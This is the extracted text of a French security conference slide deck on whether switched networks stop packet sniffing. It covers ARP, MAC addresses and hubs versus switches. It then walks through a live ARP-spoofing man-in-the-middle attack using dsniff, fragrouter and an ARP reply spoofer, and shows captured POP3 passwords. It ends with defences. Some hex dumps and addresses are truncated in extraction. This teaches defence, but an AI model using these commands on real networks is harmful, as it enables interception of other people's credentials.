véritable protection contre l analyse de trames?
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1 Réseaux Switchés : véritable protection contre l analyse de trames? Introduction Adresses physiques Adress Resolution Protocol Concentrateur / Commutateur Application pratique Conclusion Guillaume Prigent Laboratoire d Informatique Industrielle École Nationale d Ingénieurs de Brest [email protected] JSSI OSSIR enib/li 2 c G.P... 1/19
2 Introduction : ARP Request ARP Request : dump hexa 0000 ff ff ff ff ff ff da da c3 dd e c3 dd e9 14 ARP Request : human readable ETH. 00:50:da:83:70:36 vers ff:ff:ff:ff:ff:ff type : 0x0806 ARP Request. hw_type=0001h, prot_type=0800h, hw_size=06h, prot_size=04h, op=0001h this address : 00:50:da:83:70: asks that : 00:00:00:00:00: JSSI OSSIR enib/li 2 c G.P... 2/19
3 Introduction : ARP Reply ARP Reply : dump hexa da c 7e fb c 7e fb 26 c3 dd e da c3 dd e9 42 ARP Reply : human readable ETH. 00:00:0c:7e:fb:26 vers 00:50:da:83:70:36 type : 0x0806 ARP Reply. hw_type=0001h, prot_type=0800h, hw_size=06h, prot_size=04h, op=0002h that answer : 00:00:0c:7e:fb: is for this : 00:50:da:83:70: JSSI OSSIR enib/li 2 c G.P... 3/19
4 Adresses physiques 1/2 Format 6 octets Unique Partie IEEE / Partie Fabricant Exemple : 00:50:ba:ea:d5:91 JSSI OSSIR enib/li 2 c G.P... 4/19
5 Adresses physiques 2/2 Correspondance Fabricant 00:00:00 XEROX CORPORATION 00:00:36 ATARI CORPORATION 00:00:01 XEROX CORPORATION 00:00:39 TOSHIBA CORPORATION 00:00:1B NOVELL INC. 00:00:04 XEROX CORPORATION 00:00:1C BELL TECHNOLOGIES 00:00:46 OLIVETTI NORTH AMERICA 00:00:1D CABLETRON SYSTEMS 00:00:4C NEC CORPORATION 00:00:85 CANON INC. 00:00:6B SILICON GRAPHICS 00:00:09 XEROX CORPORATION 00:00:C9 EMULEX CORPORATION 00:00:AE DASSAULT ELECTRONIQUE 00:00:0C CISCO SYSTEMS 00:00:CD CENTRECOM SYSTEMS 00:10:7B CISCO SYSTEMS 00:10:4E CEOLOGIC 00:10:06 RACAL RECORDERS 00:10:83 HEWLETT-PACKARD 00:10:89 WEBSONIC 00:10:A3 OMNITRONIX 00:10:B7 COYOTE TECHNOLOGIES 00:10:C9 MITSUBISHI 00:10:ED SUNDANCE TECHNOLOGY 00:10:FF CISCO SYSTEMS 00:01:17 CANAL + JSSI OSSIR enib/li 2 c G.P... 5/19
6 ARP : Tables dynamiques 1/2 Table dynamique Linux [[email protected]]# arp -va bourdon.enib.fr ( ) at 00:00:0C:7E:FB:26 [ether] on eth0 libellule.enib.fr ( ) at 08:00:69:06:E3:59 [ether] on eth0 coccinelle.enib.fr ( ) at 08:00:69:0F:3C:57 [ether] on eth0 abeille.enib.fr ( ) at 08:00:20:7B:D1:30 [ether] on eth0 Table dynamique Windows C:\>arp -a Interface : x2 Adresse Internet Adresse physique Type e3-59 dynamique c-7e-fb-26 dynamique b-d1-30 dynamique JSSI OSSIR enib/li 2 c G.P... 6/19
7 ARP : Tables dynamiques 2/2 Table dynamique Cisco 2514 bourdon#show arp Protocol Address Age (min) Hardware Addr Type Interface Internet e359 ARPA Ethernet0 Internet f.3c57 ARPA Ethernet0 Internet b.d130 ARPA Ethernet0 Table dynamique SunOS 5.7 libellule# arp -a Net to Media Table Device IP Address Mask Flags Phys Addr le0 bourdon S 00:00:0C:7e:fb:26 le0 coccinelle S 08:00:69:0f:3c:57 le0 abeille S 08:00:20:7b:d1:30 JSSI OSSIR enib/li 2 c G.P... 7/19
8 Différences Hub/Switch Concentrateur Segment partagé Bus Ethernet Niveau 1 Aucun traitement Commutateur Segment dédié ASIC, RISC, matrices Niveaux 1 et 2 Apprentissage, Filtrage JSSI OSSIR enib/li 2 c G.P... 8/19
9 Fonctionnement Hub Envoi Recopie JSSI OSSIR enib/li 2 c G.P... 9/19
10 Fonctionnement Switch Envoi Filtrage JSSI OSSIR enib/li 2 c G.P... 10/19
11 Application pratique : Contexte Victime Requête Réponse Attaquant Requête Réponse JSSI OSSIR enib/li 2 c G.P... 11/19
12 Application pratique : Attaque Attaque Ecoute trames Relayage ARP Spoofing Connexions 1. Victime 2. Attaquant 3. Attaquant 4. Victime JSSI OSSIR enib/li 2 c G.P... 12/19
13 Application pratique : Déroulement Analyse de trame [root@frelon]# dsniff dsniff: listening on eth0 Relayage du traffic [root@frelon]# fragrouter -B1 fragrouter: base-1: normal IP forwarding Spoofing ARP Reply [root@frelon]# minosarpspoof Version : minosarpsoof, version 0.9 Titre : {ETH,ARP} spoof d une rponse ARP Auteur : MinoS Usage : ip_demande eth_demande ip_pour_qui eth_pour_qui JSSI OSSIR enib/li 2 c G.P... 13/19
![Reply [root@frelon]# minosarpspoof Version : minosarpsoof, version 0.](/docs-images/45/4023390/images/page_13.jpg "9 Titre : {ETH,ARP} spoof d une rponse ARP Auteur : MinoS Usage : ip_demande eth_demande ip_pour_qui")
14 Application pratique : Spoofing ARP [root@frelon]#./minosarpspoof :50:DA:83:70: :00:69:06:E3:59 ; ETH. 00:50:da:83:70:36 vers 08:00:69:06:e3:59 type : 0x0806 ARP Reply. hw_type=0001h, prot_type=0800h, hw_size=06h, prot_size=04h, op=0002h info demandee : 00:50:da:83:70: pour qui c est : 08:00:69:06:e3: JSSI OSSIR enib/li 2 c G.P... 14/19
15 Application pratique : Capture /02/02 12:32:07 tcp libellule.enib.fr > pop.winadou.fr.110 USER [email protected] PASS jssi /02/02 12:32:11 tcp coccinelle.enib.fr > pop.microloft.com.110 USER [email protected] PASS money4ever /02/02 12:32:15 tcp abeille.enib.fr > pop.karamiel.com.110 USER [email protected] PASS odyseeulysse JSSI OSSIR enib/li 2 c G.P... 15/19
16 Conclusion : Parades Détections ARPWATCH ANTISNIFF... Résolutions statiques arp -f /etc/ethers Switchs intelligents Cryptographie SSH, HTTPS, SPOP, SFTP... VPN JSSI OSSIR enib/li 2 c G.P... 16/19
17 Conclusion : Synthèse Illusion / Confiance Aspect local Matériels Logiciels Configurations... Aspect global La sécurité globale d un système est celle de son maillon local le plus faible......mais le tout n est pas la somme des parties. JSSI OSSIR enib/li 2 c G.P... 17/19
18 Conclusion : Bibliographie Network Insecurity with Switches, Aaron Turner, August 29, security.php Hunt 1.5, Kra, RFC 836 : An Ethernet Adress Resolution Protocol, Plummer, David C., November 1982 Hack Proofing Your Network, Russel, Ryan and Cunningham, Stace, 2000 Sniffing FAQ, Robert Graham, September 14, JSSI OSSIR enib/li 2 c G.P... 18/19
19 Réseaux Switchés : véritable protection contre l analyse de trames? Guillaume Prigent Laboratoire d Informatique Industrielle École Nationale d Ingénieurs de Brest [email protected] GP-Conseils Conseil Réseau et Sécurité [email protected] JSSI OSSIR enib/li 2 c G.P... 19/19
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